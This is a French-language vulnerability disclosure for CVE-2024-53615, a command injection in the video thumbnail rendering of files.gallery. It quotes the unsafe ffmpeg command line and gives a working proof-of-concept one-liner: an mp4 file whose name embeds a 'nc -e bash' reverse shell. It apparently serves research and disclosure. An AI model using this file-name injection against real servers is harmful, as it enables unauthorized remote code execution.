
CVE-2024-53615
Une vulnérabilité d'injection de commande dans le composant de rendu des vignettes vidéo de files.gallery de Karl Ward, versions v0.3.0 à 0.11.0, permet à un attaquant distant d'exécuter du code arbitraire via un fichier vidéo malveillant.
Prérequis :
ffmpeg dans le PATHconfig.php : 'allow_upload' => trueexec doit être activé dans la configuration PHPLa vulnérabilité se trouve dans la ligne suivante (extraite de la version 0.9.12), qui génère les aperçus vidéo :
$cmd = $ffmpeg_path . ' -ss 3 -t 1 -hide_banner -i "' . str_replace('"', '\"', $this->path) . '" -frames:v 1 -an -vf "thumbnail,scale=480:320:force_original_aspect_ratio=increase,crop=480:320" -r 1 -y -f mjpeg "' . $cache . '" 2>&1';
Comme $this->path est contrôlable par l'utilisateur, nous pouvons construire un fichier malveillant dont le nom est une substitution de commande bash. Il est important que ce fichier contienne, par exemple, les magic bytes mp4 et que le nom de fichier se termine par .mp4 :
$ echo "AAAAIGZ0eXBpc29tAAACAGlzb21pc28yYXZjMW1wNDEAAQv7bW9vdgAAAGxtdmhk" | base64 -d > '$(nc 127.0.0.1 8443 -e bash).mp4'
Si nous téléchargeons ce fichier et actualisons la page pour que l'application charge le fichier, nous obtenons un shell sur notre machine locale.
Remarque : la commande est stockée dans le nom de fichier, donc les possibilités de reverse shell sont limitées en raison des contraintes de longueur du nom.
Ce dépôt est destiné uniquement à des fins éducatives et de recherche.
Avertissement de mauvaise utilisation : L'utilisation de cet outil pour des activités non autorisées ou malveillantes est strictement interdite et peut violer les lois locales, nationales ou internationales. L'auteur n'est pas responsable de toute mauvaise utilisation de ce code.
Obtenez toujours une autorisation appropriée avant de déployer cet outil dans tout environnement. En utilisant ce projet, vous acceptez de l'utiliser de manière responsable et éthique.